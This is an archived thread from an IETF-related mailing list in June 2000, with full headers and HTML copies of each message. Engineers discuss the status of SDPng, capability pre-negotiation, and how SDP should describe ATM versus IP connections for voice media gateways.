References: <200006150725.e5F7Pl326963@bettina.informatik.uni-bremen.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Joerg,

Is the ability to pre-negotiation endpoint capabilities a function that
you're looking at for SDPng?  By pre-negotiate I mean that the
capability is negotiated at the start of a session, but a further event
is required before it is known if the capability will be needed.  A
pre-negotiation function obviously saves on the need to re-negotiate
once the event is seen.  Some capabilities that I believe would be
pre-negotiated are the handing of Fax, Modem, DTMF and other tones.

Doug

Joerg Ott wrote:
> 
> Gonzalo,
> 
> the last available draft is draft-ott-mmusic-caps-01.txt which is currently
> being heavily revised (note that the syntax section in the end is just giving
> examaples).  At the moment we working on completing the modeling aspects
> taking into account the various signaling protocols available (particularly
> H.323 and SIP, also MEGACO to some degree) to provide a sufficiently rich yet
> reasonably simple means for description that can satisfy the needs of all these
> protocols.  We also consider local interaction between system components
> (e.g. via the Mbus) for the modeling looking into how to model call,
> conferences, applications (=media sessions), and individual media streams.
> (this has to fit with SIP, SIP call control services, a future conference control
> protocol, RTSP, and who knows what).  This model then needs to be linked to
> the concrete syntax (a step that is entirely omitted in the old draft).
> 
> >From a syntax point of view, we are yet undecided.  There is good reasoning to
> stick close to the current SDP syntax to allow smooth introduction of new features
> into implementations and retain backward compatibility.  And this is what we would
> like to achieve given the increasing installed base of SDP.  Nevertheless, a little
> more expressiveness for grouping, alternatives and the like would be nice to have.
> There are ideas how you can do this without breaking SDP syntax but the semantics
> typically changes with such extensions so that a new version numbers allowing for
> new features does not seem unreasonable either.
> 
> We plan to publish the revised draft as basis for discussion by the end of June
> or the beginning of July.
> 
> Of course, we welcome any input on all of this.
> 
> Joerg
> 
> >Hi,
> >
> >I would like to know the status of the so called, SDPng. Is there any
> >draft available about it? Are there folks working on it? Time frame for
> >this work, goals...
> >
> >Thanks,
> >
> >Gonzalo
> >--
> >Gonzalo Camarillo         Phone :  +358  9 299 33 71
> >Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> >Telecom R&D               Fax   :  +358  9 299 30 52
> >FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
> >Finland
> >
> 
> -------------------------------------------------------------------------------
> Joerg Ott                                                  jo@tzi.uni-bremen.de
> Universitaet Bremen, Germany                              fax + 49 421 218-7000
> Center for Computing Technology (TZI)                   voice + 49 421 201-7028
> Digital Media and Networks                     http://www.tzi.uni-bremen.de/dmn

From confctrl-owner  Mon Jun 26 16:34:02 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA14826
	for confctrl-outgoing; Mon, 26 Jun 2000 16:34:02 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA14819
	for <confctrl@zephyr.isi.edu>; Mon, 26 Jun 2000 16:34:00 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id QAA28158
	for <confctrl@isi.edu>; Mon, 26 Jun 2000 16:34:44 -0700 (PDT)
Received: from rkumar-ntl (dhcp-71-29-189.cisco.com [171.71.29.189])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id QAA03698;
	Mon, 26 Jun 2000 16:34:09 -0700 (PDT)
Message-Id: <4.1.20000626160659.00cf1d00@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Mon, 26 Jun 2000 16:38:42 -0700
To: "Sophia Scoggins" <scoggins@nortelnetworks.com>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: Scope of ATM SDP work
Cc: atmsdp@eng.fore.com, "Mark Watson" <mwatson@nortelnetworks.com>,
        msf-media@msforum.org, confctrl@ISI.EDU
In-Reply-To: <3957455D.7EAE20F0@americasm10.nt.com>
References: <4.1.20000623104234.00b6d8d0@wanbu-mail.cisco.com>
 <4.1.20000623152734.00b703a0@wanbu-mail.cisco.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_21066321==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_21066321==_.ALT
Content-Type: text/plain; charset="us-ascii"

Sophia, Mark, Brian,

At 07:58 AM 6/26/00 -0400, Sophia Scoggins wrote:
>Rajesh,
>
>
>When a MG is capable of routing/switching on IP and different ATM
>layers, then it becomes an issue of how both ends agree on which layer
>to route/switch. If both ends are capable of doing ATM (and the same
>AAL), then all the ATM parameters must be agreed upon by both MGs. In
>that case, c=ATM is used. If we don't use c=ATM and provide necessary
>ATM parameters, the mismatch may happen on the ATM layer setup. 

The IP applications I had in mind involved no call-by-call ATM set-up, although
ATM PVCs could be used for some or all of the IP routing hops. In this case,
the voice call is routed at only on layer (IP) and the ATM connectivity is
fixed.

Of course, if you want to use ATM SVCs that are mapped into an RSVP-based VoIP
network, then what you have said is absolutely true. At the SDP-level, the way
I see it being addressed is through multiple SDP descriptions (multiple v=)
lines. THis is what Megaco mentions too: "When multiple session descriptions
are provided in one descriptor,the "v=" lines are required as delimiters..." 
There would be an ATM session description and an IP session description.

By its very nature, the ATM SDP  internet draft addresses ATM session
descriptions only. My question to you, to Brian and to the rest of this mailing
list is: Is is adequate for that? Do we need to add special constructs to it? I
do not believe so.

On the other hand, you might want to define a way to use SDP  for IP to declare
whether a lower layer protocol is ethernet or ATM or Packet-over-sonet or
packet-over-lambda. For instance, you can state

        a=fmtp: <lower layer>
       
where <lower layer> is defined as
           ATM | Ethernet | POS | POLambda | .....

 
>
>Once the ATM layer is setup, the applications on both MGs may use the IP
>layer information to do further processing. In that case, the IP layer
>information can either be encapsulated in the ATM payload or be
>explicitly specified in the SDP. If an intermediate node is involved, we
>usually don't like it to peek into the payload to find the information.
>The needed information should be in the SDP. At the same time, we don't
>want the same information be put in two places (SDP and payload),
>either.  
>
>The layering protocol principle is that if layer 2 get you where you
>want to be, then don't go up to layer 3. We go up to layer 3 in the
>situation that layer 2 protocols are different. For example, one end
>does VOIP/ATM and the other end does VOIP/ETHERNET. Any intermediate
>nodes can use different protocols, but that is transparent in the SDP
>for end-to-end description.
>
>The question is how does the originating MG knows which layer 2 protocol
>the terminating MG uses? Mark Watson and I have a proposal in draft,
>which will be submitted to ITU-T SG11 BICC/CS2, to provide a solution
>for this type of situation. However, ITU-T SG11 may not be the right
>group to evaluate the idea. This group or SG16 may be the right one for
>discussion.

It would be great if you can share your draft with us at the right time.
However, I am not sure if this is the right group since you're not looking at
VoATM but VoIP via flexible lower layer selection. As I mentioned before, at
the SDP level, this would be handled in a separate IP SDP descriptor, placed
just next to the ATM SDP descriptor.

I do not want the ATM SDP work to be side-tracked at this point or in the
Pittsburgh IETF on issues that, while being very important and interesting, are
tangential to ATM SDP. However, I would be glad to review, discuss and offer
suggestions on your scheme in this or in another forum.

Please let me know if you agree.
 
>Rajesh Kumar wrote:
>> 
>> Sophia,
>> 
>> 
>> >Do you know if VOIP/ATM will use both c=IN and c=ATM?
>> 
>> VoIP will use c=IN regardless of whether it runs over ATM or not. In
>> some cases, it might run partially over an ATM segment and partially
>> over a non-ATM segment. This case should be treated in the SDP as a
>> VoIP.
>> 
>> c=ATM will be used when RTP is encapsulated raw over AAL5 (no IP)as in
>> H.323 Annex C.
>> 
> 
^^^^^^^^^^^^^^^^^^^^^
Rajesh Kumar, Ph.D.
Technical Leader        
Carrier Packet Voice
Cisco Systems
San Jose, California
^^^^^^^^^^^^^^^^^^^^^
 rkumar@cisco.com                 
408 527 0811                
^^^^^^^^^^^^^^^^^^^^^
 

--=====================_21066321==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Sophia, Mark, Brian,<br>
<br>
At 07:58 AM 6/26/00 -0400, Sophia Scoggins wrote:<br>
&gt;Rajesh,<br>
&gt;<br>
&gt;<br>
&gt;When a MG is capable of routing/switching on IP and different
ATM<br>
&gt;layers, then it becomes an issue of how both ends agree on which
layer<br>
&gt;to route/switch. If both ends are capable of doing ATM (and the
same<br>
&gt;AAL), then all the ATM parameters must be agreed upon by both MGs.
In<br>
&gt;that case, c=ATM is used. If we don't use c=ATM and provide
necessary<br>
&gt;ATM parameters, the mismatch may happen on the ATM layer setup. 
<br>
<br>
<font color="#FF0000">The IP applications I had in mind involved no
call-by-call ATM set-up, although ATM PVCs could be used for some or all
of the IP routing hops. In this case, the voice call is routed at only on
layer (IP) and the ATM connectivity is fixed.<br>
<br>
Of course, if you want to use ATM SVCs that are mapped into an RSVP-based
VoIP network, then what you have said is absolutely true. At the
SDP-level, the way I see it being addressed is through multiple SDP
descriptions (multiple v=) lines. THis is what Megaco mentions too:
&quot;When multiple session descriptions are provided in one
descriptor,the &quot;v=&quot; lines are required as
delimiters...&quot;&nbsp; There would be an ATM session description and
an IP session description.<br>
<br>
By its very nature, the ATM SDP&nbsp; internet draft addresses ATM
session descriptions only. My question to you, to Brian and to the rest
of this mailing list is: Is is adequate for that? Do we need to add
special constructs to it? I do not believe so.<br>
<br>
On the other hand, you might want to define a way to use SDP&nbsp; for IP
to declare whether a lower layer protocol is ethernet or ATM or
Packet-over-sonet or packet-over-lambda. For instance, you can 
state<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>a=fmtp:
&lt;lower layer&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
where &lt;lower layer&gt; is defined as<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ATM |
Ethernet | POS | POLambda | .....<br>
<br>
</font>&nbsp;<br>
&gt;<br>
&gt;Once the ATM layer is setup, the applications on both MGs may use the
IP<br>
&gt;layer information to do further processing. In that case, the IP
layer<br>
&gt;information can either be encapsulated in the ATM payload or be<br>
&gt;explicitly specified in the SDP. If an intermediate node is involved,
we<br>
&gt;usually don't like it to peek into the payload to find the
information.<br>
&gt;The needed information should be in the SDP. At the same time, we
don't<br>
&gt;want the same information be put in two places (SDP and
payload),<br>
&gt;either.&nbsp; <br>
&gt;<br>
&gt;The layering protocol principle is that if layer 2 get you where
you<br>
&gt;want to be, then don't go up to layer 3. We go up to layer 3 in
the<br>
&gt;situation that layer 2 protocols are different. For example, one
end<br>
&gt;does VOIP/ATM and the other end does VOIP/ETHERNET. Any
intermediate<br>
&gt;nodes can use different protocols, but that is transparent in the
SDP<br>
&gt;for end-to-end description.<br>
&gt;<br>
&gt;The question is how does the originating MG knows which layer 2
protocol<br>
&gt;the terminating MG uses? Mark Watson and I have a proposal in
draft,<br>
&gt;which will be submitted to ITU-T SG11 BICC/CS2, to provide a
solution<br>
&gt;for this type of situation. However, ITU-T SG11 may not be the
right<br>
&gt;group to evaluate the idea. This group or SG16 may be the right one
for<br>
&gt;discussion.<br>
<br>
<font color="#FF0000">It would be great if you can share your draft with
us at the right time. However, I am not sure if this is the right group
since you're not looking at VoATM but VoIP via flexible lower layer
selection. As I mentioned before, at the SDP level, this would be handled
in a separate IP SDP descriptor, placed just next to the ATM SDP
descriptor.<br>
<br>
I do not want the ATM SDP work to be side-tracked at this point or in the
Pittsburgh IETF on issues that, while being very important and
interesting, are tangential to ATM SDP. However, I would be glad to
review, discuss and offer suggestions on your scheme in this or in
another forum.<br>
<br>
Please let me know if you agree.<br>
</font>&nbsp;<br>
&gt;Rajesh Kumar wrote:<br>
&gt;&gt; <br>
&gt;&gt; Sophia,<br>
&gt;&gt; <br>
&gt;&gt; <br>
&gt;&gt; &gt;Do you know if VOIP/ATM will use both c=IN and c=ATM?<br>
&gt;&gt; <br>
&gt;&gt; VoIP will use c=IN regardless of whether it runs over ATM or
not. In<br>
&gt;&gt; some cases, it might run partially over an ATM segment and
partially<br>
&gt;&gt; over a non-ATM segment. This case should be treated in the SDP
as a<br>
&gt;&gt; VoIP.<br>
&gt;&gt; <br>
&gt;&gt; c=ATM will be used when RTP is encapsulated raw over AAL5 (no
IP)as in<br>
&gt;&gt; H.323 Annex C.<br>
&gt;&gt; <br>
&gt; <br>

<font face="Times New Roman, Times" size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Comic Sans MS" size=2 color="#800000"><b>Rajesh Kumar,
Ph.D.<br>
</font></b><font face="Arial, Helvetica" size=2 color="#800000">Technical
Leader&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
Carrier Packet Voice<br>
Cisco Systems<br>
San Jose, California<br>
</font><font face="Times New Roman, Times" size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Haettenschweiler" size=4 color="#800000">&nbsp;rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
408 527
0811</font><font face="Times New Roman, Times" size=2 color="#800000"><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Garamond" color="#800000"><i>&nbsp;<br>
</font></i></html>

--=====================_21066321==_.ALT--


From confctrl-owner  Tue Jun 27 05:36:07 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA21146
	for confctrl-outgoing; Tue, 27 Jun 2000 05:36:07 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA21140
	for <confctrl@zephyr.isi.edu>; Tue, 27 Jun 2000 05:36:06 -0700 (PDT)
Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id FAA23198
	for <confctrl@ISI.EDU>; Tue, 27 Jun 2000 05:36:49 -0700 (PDT)
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id IAA25027;
	Tue, 27 Jun 2000 08:36:20 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com [169.144.2.220])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id IAA27008;
	Tue, 27 Jun 2000 08:36:17 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <NJWYSWB4>; Tue, 27 Jun 2000 08:36:14 -0400
Message-ID: <4FBEA8857476D311A03300204840E1CF6784CB@whq-msgusr-02.fore.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Rajesh Kumar'" <rkumar@cisco.com>,
        Sophia Scoggins
	 <scoggins@nortelnetworks.com>
Cc: atmsdp@eng.fore.com, Mark Watson <mwatson@nortelnetworks.com>,
        msf-media@msforum.org, confctrl@ISI.EDU
Subject: RE: Scope of ATM SDP work
Date: Tue, 27 Jun 2000 08:36:13 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFE034.482D1AE0"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFE034.482D1AE0
Content-Type: text/plain;
	charset="iso-8859-1"

Multiple session descriptions are used as alternatives in Megaco, so your
first solution would
be difficult to use.  I'd prefer that the solution show you the complete
description, which could
be multiple "layers".  I do wonder if we are getting really complex for no
good reason.
Specifically, we have a way to specify Annex C, so the real issue is a way
to specify a full
IP/UDP/RTP where the underlying connection is an ATM connection, and, for
some reason,
you have to say that specifically.  Is that really useful - are there
applications that, for example,
want to have the MGC establish an ATM VC to a specific end point,and then
run IP over it,
as opposed to using the more automatic mechanisms like LANE/MPOA and/or
standard
routing over an ATM infrastructure?  
 
Brian

-----Original Message-----
From: Rajesh Kumar [mailto:rkumar@cisco.com]
Sent: Monday, June 26, 2000 7:39 PM
To: Sophia Scoggins
Cc: atmsdp@eng.fore.com; Mark Watson; msf-media@msforum.org;
confctrl@ISI.EDU
Subject: Scope of ATM SDP work


Sophia, Mark, Brian,

At 07:58 AM 6/26/00 -0400, Sophia Scoggins wrote:
>Rajesh,
>
>
>When a MG is capable of routing/switching on IP and different ATM
>layers, then it becomes an issue of how both ends agree on which layer
>to route/switch. If both ends are capable of doing ATM (and the same
>AAL), then all the ATM parameters must be agreed upon by both MGs. In
>that case, c=ATM is used. If we don't use c=ATM and provide necessary
>ATM parameters, the mismatch may happen on the ATM layer setup. 

The IP applications I had in mind involved no call-by-call ATM set-up,
although ATM PVCs could be used for some or all of the IP routing hops. In
this case, the voice call is routed at only on layer (IP) and the ATM
connectivity is fixed.

Of course, if you want to use ATM SVCs that are mapped into an RSVP-based
VoIP network, then what you have said is absolutely true. At the SDP-level,
the way I see it being addressed is through multiple SDP descriptions
(multiple v=) lines. THis is what Megaco mentions too: "When multiple
session descriptions are provided in one descriptor,the "v=" lines are
required as delimiters..."  There would be an ATM session description and an
IP session description.

By its very nature, the ATM SDP  internet draft addresses ATM session
descriptions only. My question to you, to Brian and to the rest of this
mailing list is: Is is adequate for that? Do we need to add special
constructs to it? I do not believe so.

On the other hand, you might want to define a way to use SDP  for IP to
declare whether a lower layer protocol is ethernet or ATM or
Packet-over-sonet or packet-over-lambda. For instance, you can state

        a=fmtp: <lower layer>
       
where <lower layer> is defined as
           ATM | Ethernet | POS | POLambda | .....

 
>
>Once the ATM layer is setup, the applications on both MGs may use the IP
>layer information to do further processing. In that case, the IP layer
>information can either be encapsulated in the ATM payload or be
>explicitly specified in the SDP. If an intermediate node is involved, we
>usually don't like it to peek into the payload to find the information.
>The needed information should be in the SDP. At the same time, we don't
>want the same information be put in two places (SDP and payload),
>either.  
>
>The layering protocol principle is that if layer 2 get you where you
>want to be, then don't go up to layer 3. We go up to layer 3 in the
>situation that layer 2 protocols are different. For example, one end
>does VOIP/ATM and the other end does VOIP/ETHERNET. Any intermediate
>nodes can use different protocols, but that is transparent in the SDP
>for end-to-end description.
>
>The question is how does the originating MG knows which layer 2 protocol
>the terminating MG uses? Mark Watson and I have a proposal in draft,
>which will be submitted to ITU-T SG11 BICC/CS2, to provide a solution
>for this type of situation. However, ITU-T SG11 may not be the right
>group to evaluate the idea. This group or SG16 may be the right one for
>discussion.

It would be great if you can share your draft with us at the right time.
However, I am not sure if this is the right group since you're not looking
at VoATM but VoIP via flexible lower layer selection. As I mentioned before,
at the SDP level, this would be handled in a separate IP SDP descriptor,
placed just next to the ATM SDP descriptor.

I do not want the ATM SDP work to be side-tracked at this point or in the
Pittsburgh IETF on issues that, while being very important and interesting,
are tangential to ATM SDP. However, I would be glad to review, discuss and
offer suggestions on your scheme in this or in another forum.

Please let me know if you agree.
 
>Rajesh Kumar wrote:
>> 
>> Sophia,
>> 
>> 
>> >Do you know if VOIP/ATM will use both c=IN and c=ATM?
>> 
>> VoIP will use c=IN regardless of whether it runs over ATM or not. In
>> some cases, it might run partially over an ATM segment and partially
>> over a non-ATM segment. This case should be treated in the SDP as a
>> VoIP.
>> 
>> c=ATM will be used when RTP is encapsulated raw over AAL5 (no IP)as in
>> H.323 Annex C.
>> 
> 
^^^^^^^^^^^^^^^^^^^^^
Rajesh Kumar, Ph.D.
Technical Leader        
Carrier Packet Voice
Cisco Systems
San Jose, California
^^^^^^^^^^^^^^^^^^^^^
 rkumar@cisco.com                 
408 527 0811                
^^^^^^^^^^^^^^^^^^^^^
 



------_=_NextPart_001_01BFE034.482D1AE0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.3017.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=210302912-27062000>Multiple session descriptions are used as alternatives 
in Megaco, so your first solution would</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=210302912-27062000>be 
difficult to use.&nbsp; I'd prefer that the solution show you the complete 
description, which could</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=210302912-27062000>be 
multiple "layers".&nbsp; I do wonder if we are getting really complex for no 
good reason.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=210302912-27062000>Specifically, we have a way to specify Annex C, so the 
real issue is a way to specify a full</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=210302912-27062000>IP/UDP/RTP where the underlying connection is an ATM 
connection, and, for some reason,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=210302912-27062000>you 
have to say that specifically.&nbsp; Is that really useful - are there 
applications that, for example,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=210302912-27062000>want 
to have the MGC establish an ATM VC to a specific end point,and then run IP over 
it,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=210302912-27062000>as 
opposed to using the more automatic mechanisms like LANE/MPOA and/or 
standard</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=210302912-27062000>routing over an ATM infrastructure?&nbsp; 
</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=210302912-27062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=210302912-27062000>Brian</SPAN></FONT></DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Rajesh Kumar 
  [mailto:rkumar@cisco.com]<BR><B>Sent:</B> Monday, June 26, 2000 7:39 
  PM<BR><B>To:</B> Sophia Scoggins<BR><B>Cc:</B> atmsdp@eng.fore.com; Mark 
  Watson; msf-media@msforum.org; confctrl@ISI.EDU<BR><B>Subject:</B> Scope of 
  ATM SDP work<BR><BR></DIV></FONT>Sophia, Mark, Brian,<BR><BR>At 07:58 AM 
  6/26/00 -0400, Sophia Scoggins 
  wrote:<BR>&gt;Rajesh,<BR>&gt;<BR>&gt;<BR>&gt;When a MG is capable of 
  routing/switching on IP and different ATM<BR>&gt;layers, then it becomes an 
  issue of how both ends agree on which layer<BR>&gt;to route/switch. If both 
  ends are capable of doing ATM (and the same<BR>&gt;AAL), then all the ATM 
  parameters must be agreed upon by both MGs. In<BR>&gt;that case, c=ATM is 
  used. If we don't use c=ATM and provide necessary<BR>&gt;ATM parameters, the 
  mismatch may happen on the ATM layer setup. <BR><BR><FONT color=#ff0000>The IP 
  applications I had in mind involved no call-by-call ATM set-up, although ATM 
  PVCs could be used for some or all of the IP routing hops. In this case, the 
  voice call is routed at only on layer (IP) and the ATM connectivity is 
  fixed.<BR><BR>Of course, if you want to use ATM SVCs that are mapped into an 
  RSVP-based VoIP network, then what you have said is absolutely true. At the 
  SDP-level, the way I see it being addressed is through multiple SDP 
  descriptions (multiple v=) lines. THis is what Megaco mentions too: "When 
  multiple session descriptions are provided in one descriptor,the "v=" lines 
  are required as delimiters..."&nbsp; There would be an ATM session description 
  and an IP session description.<BR><BR>By its very nature, the ATM SDP&nbsp; 
  internet draft addresses ATM session descriptions only. My question to you, to 
  Brian and to the rest of this mailing list is: Is is adequate for that? Do we 
  need to add special constructs to it? I do not believe so.<BR><BR>On the other 
  hand, you might want to define a way to use SDP&nbsp; for IP to declare 
  whether a lower layer protocol is ethernet or ATM or Packet-over-sonet or 
  packet-over-lambda. For instance, you can 
  state<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>a=fmtp: 
  &lt;lower layer&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>where 
  &lt;lower layer&gt; is defined 
  as<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ATM | 
  Ethernet | POS | POLambda | .....<BR><BR></FONT>&nbsp;<BR>&gt;<BR>&gt;Once the 
  ATM layer is setup, the applications on both MGs may use the IP<BR>&gt;layer 
  information to do further processing. In that case, the IP 
  layer<BR>&gt;information can either be encapsulated in the ATM payload or 
  be<BR>&gt;explicitly specified in the SDP. If an intermediate node is 
  involved, we<BR>&gt;usually don't like it to peek into the payload to find the 
  information.<BR>&gt;The needed information should be in the SDP. At the same 
  time, we don't<BR>&gt;want the same information be put in two places (SDP and 
  payload),<BR>&gt;either.&nbsp; <BR>&gt;<BR>&gt;The layering protocol principle 
  is that if layer 2 get you where you<BR>&gt;want to be, then don't go up to 
  layer 3. We go up to layer 3 in the<BR>&gt;situation that layer 2 protocols 
  are different. For example, one end<BR>&gt;does VOIP/ATM and the other end 
  does VOIP/ETHERNET. Any intermediate<BR>&gt;nodes can use different protocols, 
  but that is transparent in the SDP<BR>&gt;for end-to-end 
  description.<BR>&gt;<BR>&gt;The question is how does the originating MG knows 
  which layer 2 protocol<BR>&gt;the terminating MG uses? Mark Watson and I have 
  a proposal in draft,<BR>&gt;which will be submitted to ITU-T SG11 BICC/CS2, to 
  provide a solution<BR>&gt;for this type of situation. However, ITU-T SG11 may 
  not be the right<BR>&gt;group to evaluate the idea. This group or SG16 may be 
  the right one for<BR>&gt;discussion.<BR><BR><FONT color=#ff0000>It would be 
  great if you can share your draft with us at the right time. However, I am not 
  sure if this is the right group since you're not looking at VoATM but VoIP via 
  flexible lower layer selection. As I mentioned before, at the SDP level, this 
  would be handled in a separate IP SDP descriptor, placed just next to the ATM 
  SDP descriptor.<BR><BR>I do not want the ATM SDP work to be side-tracked at 
  this point or in the Pittsburgh IETF on issues that, while being very 
  important and interesting, are tangential to ATM SDP. However, I would be glad 
  to review, discuss and offer suggestions on your scheme in this or in another 
  forum.<BR><BR>Please let me know if you agree.<BR></FONT>&nbsp;<BR>&gt;Rajesh 
  Kumar wrote:<BR>&gt;&gt; <BR>&gt;&gt; Sophia,<BR>&gt;&gt; <BR>&gt;&gt; 
  <BR>&gt;&gt; &gt;Do you know if VOIP/ATM will use both c=IN and 
  c=ATM?<BR>&gt;&gt; <BR>&gt;&gt; VoIP will use c=IN regardless of whether it 
  runs over ATM or not. In<BR>&gt;&gt; some cases, it might run partially over 
  an ATM segment and partially<BR>&gt;&gt; over a non-ATM segment. This case 
  should be treated in the SDP as a<BR>&gt;&gt; VoIP.<BR>&gt;&gt; <BR>&gt;&gt; 
  c=ATM will be used when RTP is encapsulated raw over AAL5 (no IP)as 
  in<BR>&gt;&gt; H.323 Annex C.<BR>&gt;&gt; <BR>&gt; <BR><FONT color=#800000 
  face="Times New Roman, Times" size=2>^^^^^^^^^^^^^^^^^^^^^<BR></FONT><FONT 
  color=#800000 face="Comic Sans MS" size=2><B>Rajesh Kumar, 
  Ph.D.<BR></FONT></B><FONT color=#800000 face="Arial, Helvetica" 
  size=2>Technical Leader&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>Carrier 
  Packet Voice<BR>Cisco Systems<BR>San Jose, California<BR></FONT><FONT 
  color=#800000 face="Times New Roman, Times" 
  size=2>^^^^^^^^^^^^^^^^^^^^^<BR></FONT><FONT color=#800000 
  face=Haettenschweiler 
  size=4>&nbsp;rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  <BR>408 527 0811</FONT><FONT color=#800000 face="Times New Roman, Times" 
  size=2><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  <BR>^^^^^^^^^^^^^^^^^^^^^<BR></FONT><FONT color=#800000 
  face=Garamond><I>&nbsp;<BR></BLOCKQUOTE></FONT></I></BODY></HTML>

------_=_NextPart_001_01BFE034.482D1AE0--

From confctrl-owner  Tue Jun 27 07:21:49 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA25860
	for confctrl-outgoing; Tue, 27 Jun 2000 07:21:49 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA25854
	for <confctrl@zephyr.isi.edu>; Tue, 27 Jun 2000 07:21:48 -0700 (PDT)
Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id HAA26371
	for <confctrl@isi.edu>; Tue, 27 Jun 2000 07:22:32 -0700 (PDT)
Received: from zcard015.ca.nortel.com (actually zcard015) 
          by smtprch1.nortel.com; Tue, 27 Jun 2000 09:15:22 -0500
Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) 
